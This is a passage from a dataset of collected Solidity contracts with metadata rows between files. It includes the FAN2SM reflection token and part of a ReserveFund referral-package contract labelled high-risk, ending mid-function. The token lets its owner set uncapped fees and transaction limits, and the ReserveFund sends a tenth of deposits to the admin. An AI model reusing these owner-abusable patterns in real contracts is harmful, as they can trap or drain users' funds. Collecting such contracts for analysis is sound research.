tTeam = tAmount.mul(teamFee).div(100);
tLiquidity = tAmount.mul(liquidityFee).div(100);
tTransferAmount = tAmount.sub(tFee).sub(tTeam).sub(tLiquidity);
}
function _getRValues(uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 tLiquidity,
uint256 currentRate)
private
pure
returns (uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee)
{
rAmount = tAmount.mul(currentRate);
rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
rTransferAmount = rAmount.sub(rFee).sub(rTeam).sub(rLiquidity);
}
function _getRate() private view returns (uint256 rate) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
rate = rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function excludeFromFee(address account, bool exclude) external onlyOwner {
_isExcludedFromFee[account] = exclude;
emit ExcludeFromFee(account, exclude);
}
function setReflectionFee(uint256 feeReflection) external onlyOwner {
require(feeReflection.add(_feeTeam.add(_feeLiquidity)) < _maxFees,
"fees to high");
emit ReflectionFeeModified(_feeReflection, feeReflection);
_feeReflection = feeReflection;
}
function setFeeSettings(uint256 feeTeam, uint256 feeLiquidity)
external
onlyOwner
{
require(_feeReflection.add(feeTeam.add(feeLiquidity)) < _maxFees,
"fees to high");
_feeTeam = feeTeam;
_feeLiquidity = feeLiquidity;
emit FeeSettingsModified();
}
function setWalletSettings(address marketingWallet,
address devFundWallet,
address liquidityWallet) external onlyOwner {
require(marketingWallet != address(0), "marketingWallet: zero address");
require(devFundWallet != address(0), "devFundWallet: zero address");
require(liquidityWallet != address(0), "liquidityWallet: zero address");
// ensure to remove from excluded list
if (_marketingWallet != owner())
_isExcludedFromFee[_marketingWallet] = false;
if (_devFundWallet != owner())
_isExcludedFromFee[_devFundWallet] = false;
if (_liquidityWallet != owner())
_isExcludedFromFee[_liquidityWallet] = false;
_marketingWallet = payable(marketingWallet);
_devFundWallet = payable(devFundWallet);
_liquidityWallet = payable(liquidityWallet);
_isExcludedFromFee[marketingWallet] = true;
_isExcludedFromFee[devFundWallet] = true;
_isExcludedFromFee[liquidityWallet] = true;
}
function setSwapThreshold(uint256 swapThreshold) external onlyOwner {
emit SwapThresholdModified(_swapThreshold, swapThreshold);
_swapThreshold = swapThreshold;
}
function manualSwap() external onlyOwner {
uint256 tmp = _swapThreshold;
_swapThreshold = balanceOf(address(this)) >= tmp
? tmp
: balanceOf(address(this));
swapBack();
_swapThreshold = tmp;
}
}
| 116,000 | 13,137 |
4e3df7023768bbe4e9106bfab4fb7a1083849b565843df58e58253a8876f97ac
| 29,448 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/a5/A503806B75E282AfAdce495f3d4435749461CedC_FAN2SM.sol
| 5,182 | 18,692 |
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FAN2SM is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 25000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Fan2sm Finance';
string private constant _symbol = 'F3M';
uint256 private _taxFee = 400;
uint256 private _burnFee = 200;
uint public max_tx_size = 25000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xF27ee1fdaF772234FE7B37eaC15309aDE3dfFe46, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 317,461 | 13,138 |
809fe698621e25808dd3d9ae457f27d02573632602a3b84bac7d789aa6fad1cc
| 16,704 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/High-risk/0x521525f178672a9f08e06c65C05d5950f8211701.sol
| 4,275 | 15,987 |
pragma solidity 0.4.24;
contract Auth {
address internal mainAdmin;
address internal contractAdmin;
event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner);
constructor(address _mainAdmin,
address _contractAdmin)
internal
{
mainAdmin = _mainAdmin;
contractAdmin = _contractAdmin;
}
modifier onlyAdmin() {
require(isMainAdmin() || isContractAdmin(), "onlyAdmin");
_;
}
modifier onlyMainAdmin() {
require(isMainAdmin(), "onlyMainAdmin");
_;
}
modifier onlyContractAdmin() {
require(isContractAdmin(), "onlyContractAdmin");
_;
}
function transferOwnership(address _newOwner) onlyContractAdmin internal {
require(_newOwner != address(0x0));
contractAdmin = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
function isMainAdmin() public view returns (bool) {
return msg.sender == mainAdmin;
}
function isContractAdmin() public view returns (bool) {
return msg.sender == contractAdmin;
}
}
library Math {
function abs(int number) internal pure returns (uint) {
if (number < 0) {
return uint(number * -1);
}
return uint(number);
}
}
library StringUtil {
struct slice {
uint _length;
uint _pointer;
}
function validateUserName(string memory _username)
internal
pure
returns (bool)
{
uint8 len = uint8(bytes(_username).length);
if ((len < 4) || (len > 18)) return false;
// only contain A-Z 0-9
for (uint8 i = 0; i < len; i++) {
if ((uint8(bytes(_username)[i]) < 48) ||
(uint8(bytes(_username)[i]) > 57 && uint8(bytes(_username)[i]) < 65) ||
(uint8(bytes(_username)[i]) > 90)) return false;
}
// First char != '0'
return uint8(bytes(_username)[0]) != 48;
}
}
interface IWallet {
function bonusForAdminWhenUserBuyPackageViaDollar(uint _amount, address _admin) external;
function bonusNewRank(address _investorAddress, uint _currentRank, uint _newRank) external;
function mineToken(address _from, uint _amount) external;
function deposit(address _to, uint _deposited, uint8 _source, uint _sourceAmount) external;
function getInvestorLastDeposited(address _investor) external view returns (uint);
function getUserWallet(address _investor) external view returns (uint, uint[], uint, uint, uint, uint, uint);
function getProfitBalance(address _investor) external view returns (uint);
function increaseETHWithdrew(uint _amount) external;
function validateCanMineToken(uint _tokenAmount, address _from) external view;
}
interface ICitizen {
function addF1DepositedToInviter(address _invitee, uint _amount) external;
function addNetworkDepositedToInviter(address _inviter, uint _amount, uint _source, uint _sourceAmount) external;
function checkInvestorsInTheSameReferralTree(address _inviter, address _invitee) external view returns (bool);
function getF1Deposited(address _investor) external view returns (uint);
function getId(address _investor) external view returns (uint);
function getInvestorCount() external view returns (uint);
function getInviter(address _investor) external view returns (address);
function getDirectlyInvitee(address _investor) external view returns (address[]);
function getDirectlyInviteeHaveJoinedPackage(address _investor) external view returns (address[]);
function getNetworkDeposited(address _investor) external view returns (uint);
function getRank(address _investor) external view returns (uint);
function getRankBonus(uint _index) external view returns (uint);
function getUserAddresses(uint _index) external view returns (address);
function getSubscribers(address _investor) external view returns (uint);
function increaseInviterF1HaveJoinedPackage(address _invitee) external;
function isCitizen(address _user) view external returns (bool);
function register(address _user, string _userName, address _inviter) external returns (uint);
function showInvestorInfo(address _investorAddress) external view returns (uint, string memory, address, address[], uint, uint, uint, uint);
}
contract IERC20 {
function transfer(address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function balanceOf(address who) public view returns (uint256);
function allowance(address owner, address spender) public view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ReserveFund is Auth {
using StringUtil for *;
using Math for int;
enum Lock {
UNLOCKED,
PROFIT,
MINING_TOKEN,
BOTH
}
mapping(address => Lock) public lockedAccounts;
uint private miningDifficulty = 200000; // $200
uint private transferDifficulty = 1000; // $1
uint private aiTokenG3; // 1 ETH = aiTokenG3 CMMO
uint public aiTokenG2; // in mili-dollar (1/1000 dollar)
uint public minJoinPackage = 200000; // $200
uint public maxJoinPackage = 5000000; // $5k
uint public currentETHPrice;
bool public enableJoinPackageViaEther = true;
ICitizen private citizen;
IWallet private wallet;
IERC20 public cmmoToken;
event AccountsLocked(address[] addresses, uint8 lockingType);
event AITokenG2Set(uint rate);
event AITokenG3Set(uint rate);
event ETHPriceSet(uint ethPrice);
event EnableJoinPackageViaEtherSwitched(bool enabled);
event EtherPriceUpdated(uint currentETHPrice);
event MinJoinPackageSet(uint minJoinPackage);
event MaxJoinPackageSet(uint maxJoinPackage);
event MiningDifficultySet(uint rate);
event TransferDifficultySet(uint value);
event PackageJoinedViaEther(address buyer, address receiver, uint amount);
event PackageJoinedViaToken(address buyer, address receiver, uint amount);
event PackageJoinedViaDollar(address buyer, address receiver, uint amount);
event Registered(uint id, string userName, address userAddress, address inviter);
event TokenMined(address buyer, uint amount, uint walletAmount);
event TokenSwapped(address seller, uint amount, uint ethAmount);
constructor (address _citizen,
address _wallet,
address _mainAdmin,
uint _currentETHPrice)
Auth(_mainAdmin, msg.sender)
public
{
citizen = ICitizen(_citizen);
wallet = IWallet(_wallet);
currentETHPrice = _currentETHPrice;
}
// ADMINS FUNCTIONS
function setCMMOToken(address _cmmoToken) onlyAdmin public {
cmmoToken = IERC20(_cmmoToken);
}
function updateETHPrice(uint _currentETHPrice) onlyAdmin public {
require(_currentETHPrice > 0, "Must be > 0");
require(_currentETHPrice != currentETHPrice, "Must be new value");
currentETHPrice = _currentETHPrice;
emit ETHPriceSet(currentETHPrice);
}
function updateContractAdmin(address _newAddress) onlyAdmin public {
transferOwnership(_newAddress);
}
function setMinJoinPackage(uint _minJoinPackage) onlyAdmin public {
require(_minJoinPackage > 0, "Must be > 0");
require(_minJoinPackage < maxJoinPackage, "Must be < maxJoinPackage");
require(_minJoinPackage != minJoinPackage, "Must be new value");
minJoinPackage = _minJoinPackage;
emit MinJoinPackageSet(minJoinPackage);
}
function setMaxJoinPackage(uint _maxJoinPackage) onlyAdmin public {
require(_maxJoinPackage > minJoinPackage, "Must be > minJoinPackage");
require(_maxJoinPackage != maxJoinPackage, "Must be new value");
maxJoinPackage = _maxJoinPackage;
emit MaxJoinPackageSet(maxJoinPackage);
}
function setEnableJoinPackageViaEther(bool _enableJoinPackageViaEther) onlyAdmin public {
require(_enableJoinPackageViaEther != enableJoinPackageViaEther, "Must be new value");
enableJoinPackageViaEther = _enableJoinPackageViaEther;
emit EnableJoinPackageViaEtherSwitched(enableJoinPackageViaEther);
}
function aiSetTokenG2(uint _rate) onlyAdmin public {
require(_rate > 0, "aiTokenG2 must be > 0");
require(_rate != aiTokenG2, "aiTokenG2 must be new value");
aiTokenG2 = _rate;
emit AITokenG2Set(aiTokenG2);
}
function aiSetTokenG3(uint _rate) onlyAdmin public {
require(_rate > 0, "aiTokenG3 must be > 0");
require(_rate != aiTokenG3, "aiTokenG3 must be new value");
aiTokenG3 = _rate;
emit AITokenG3Set(aiTokenG3);
}
function setMiningDifficulty(uint _miningDifficulty) onlyAdmin public {
require(_miningDifficulty > 0, "miningDifficulty must be > 0");
require(_miningDifficulty != miningDifficulty, "miningDifficulty must be new value");
miningDifficulty = _miningDifficulty;
emit MiningDifficultySet(miningDifficulty);
}
function setTransferDifficulty(uint _transferDifficulty) onlyAdmin public {
require(_transferDifficulty > 0, "MinimumBuy must be > 0");
require(_transferDifficulty != transferDifficulty, "transferDifficulty must be new value");
transferDifficulty = _transferDifficulty;
emit TransferDifficultySet(transferDifficulty);
}
function lockAccounts(address[] _addresses, uint8 _type) onlyAdmin public {
require(_addresses.length > 0, "Address cannot be empty");
require(_addresses.length <= 256, "Maximum users per action is 256");
require(_type >= 0 && _type <= 3, "Type is invalid");
for (uint8 i = 0; i < _addresses.length; i++) {
require(_addresses[i] != msg.sender, "You cannot lock yourself");
lockedAccounts[_addresses[i]] = Lock(_type);
}
emit AccountsLocked(_addresses, _type);
}
// PUBLIC FUNCTIONS
function () public payable {}
function getAITokenG3() view public returns (uint) {
return aiTokenG3;
}
function getMiningDifficulty() view public returns (uint) {
return miningDifficulty;
}
function getTransferDifficulty() view public returns (uint) {
return transferDifficulty;
}
function getLockedStatus(address _investor) view public returns (uint8) {
return uint8(lockedAccounts[_investor]);
}
function register(string memory _userName, address _inviter) public {
require(citizen.isCitizen(_inviter), "Inviter did not registered.");
require(_inviter != msg.sender, "Cannot referral yourself");
uint id = citizen.register(msg.sender, _userName, _inviter);
emit Registered(id, _userName, msg.sender, _inviter);
}
function showMe() public view returns (uint, string memory, address, address[], uint, uint, uint, uint) {
return citizen.showInvestorInfo(msg.sender);
}
function joinPackageViaEther(uint _rate, address _to) payable public {
require(enableJoinPackageViaEther, "Can not buy via Ether now");
validateJoinPackage(msg.sender, _to);
require(_rate > 0, "Rate must be > 0");
validateAmount(_to, (msg.value * _rate) / (10 ** 18));
bool rateHigherUnder3Percents = (int(currentETHPrice - _rate).abs() * 100 / _rate) <= uint(3);
bool rateLowerUnder5Percents = (int(_rate - currentETHPrice).abs() * 100 / currentETHPrice) <= uint(5);
bool validRate = rateHigherUnder3Percents && rateLowerUnder5Percents;
require(validRate, "Invalid rate, please check again!");
doJoinViaEther(msg.sender, _to, msg.value, _rate);
}
function joinPackageViaDollar(uint _amount, address _to) public {
validateJoinPackage(msg.sender, _to);
validateAmount(_to, _amount);
validateProfitBalance(msg.sender, _amount);
wallet.deposit(_to, _amount, 2, _amount);
wallet.bonusForAdminWhenUserBuyPackageViaDollar(_amount / 10, mainAdmin);
emit PackageJoinedViaDollar(msg.sender, _to, _amount);
}
function joinPackageViaToken(uint _amount, address _to) public {
validateJoinPackage(msg.sender, _to);
validateAmount(_to, _amount);
uint tokenAmount = (_amount / aiTokenG2) * (10 ** 18);
require(cmmoToken.allowance(msg.sender, address(this)) >= tokenAmount, "You must call approve() first");
uint userOldBalance = cmmoToken.balanceOf(msg.sender);
require(userOldBalance >= tokenAmount, "You have not enough tokens");
require(cmmoToken.transferFrom(msg.sender, address(this), tokenAmount), "Transfer token failed");
require(cmmoToken.transfer(mainAdmin, tokenAmount / 10), "Transfer token to admin failed");
wallet.deposit(_to, _amount, 1, tokenAmount);
emit PackageJoinedViaToken(msg.sender, _to, _amount);
}
function miningToken(uint _tokenAmount) public {
require(aiTokenG2 > 0, "Invalid aiTokenG2, please contact admin");
require(citizen.isCitizen(msg.sender), "Please register first");
validateLockingMiningToken(msg.sender);
require(_tokenAmount > miningDifficulty, "Amount must be > miningDifficulty");
uint fiatAmount = (_tokenAmount * aiTokenG2) / (10 ** 18);
validateProfitBalance(msg.sender, fiatAmount);
wallet.validateCanMineToken(fiatAmount, msg.sender);
wallet.mineToken(msg.sender, fiatAmount);
uint userOldBalance = cmmoToken.balanceOf(msg.sender);
require(cmmoToken.transfer(msg.sender, _tokenAmount), "Transfer token to user failed");
require(cmmoToken.balanceOf(msg.sender) == userOldBalance + _tokenAmount, "User token changed invalid");
emit TokenMined(msg.sender, _tokenAmount, fiatAmount);
}
function swapToken(uint _amount) public {
require(_amount > 0, "Invalid amount to swap");
require(cmmoToken.balanceOf(msg.sender) >= _amount, "You have not enough balance");
uint etherAmount = getEtherAmountFromToken(_amount);
require(address(this).balance >= etherAmount, "The contract have not enough balance");
require(cmmoToken.allowance(msg.sender, address(this)) >= _amount, "You must call approve() first");
require(cmmoToken.transferFrom(msg.sender, address(this), _amount), "Transfer token failed");
msg.sender.transfer(etherAmount);
wallet.increaseETHWithdrew(etherAmount);
emit TokenSwapped(msg.sender, _amount, etherAmount);
}
function getCurrentEthPrice() public view returns (uint) {
return currentETHPrice;
}
// PRIVATE FUNCTIONS
function getEtherAmountFromToken(uint _amount) private view returns (uint) {
require(aiTokenG3 > 0, "Invalid aiTokenG3, please contact admin");
return _amount / aiTokenG3;
}
function doJoinViaEther(address _from, address _to, uint _etherAmountInWei, uint _rate) private {
uint etherForAdmin = _etherAmountInWei / 10;
uint packageValue = (_etherAmountInWei * _rate) / (10 ** 18);
wallet.deposit(_to, packageValue, 0, _etherAmountInWei);
mainAdmin.transfer(etherForAdmin);
emit PackageJoinedViaEther(_from, _to, packageValue);
}
function validateAmount(address _user, uint _packageValue) private view {
require(_packageValue > 0, "Amount must be > 0");
require(_packageValue <= maxJoinPackage, "Can not join with amount that greater max join package");
uint lastBuy = wallet.getInvestorLastDeposited(_user);
if (lastBuy == 0) {
require(_packageValue >= minJoinPackage, "Minimum for first join is $200");
} else {
require(_packageValue >= lastBuy, "Can not join with amount that lower than your last join");
}
}
function validateJoinPackage(address _from, address _to) private view {
require(citizen.isCitizen(_from), "Please register first");
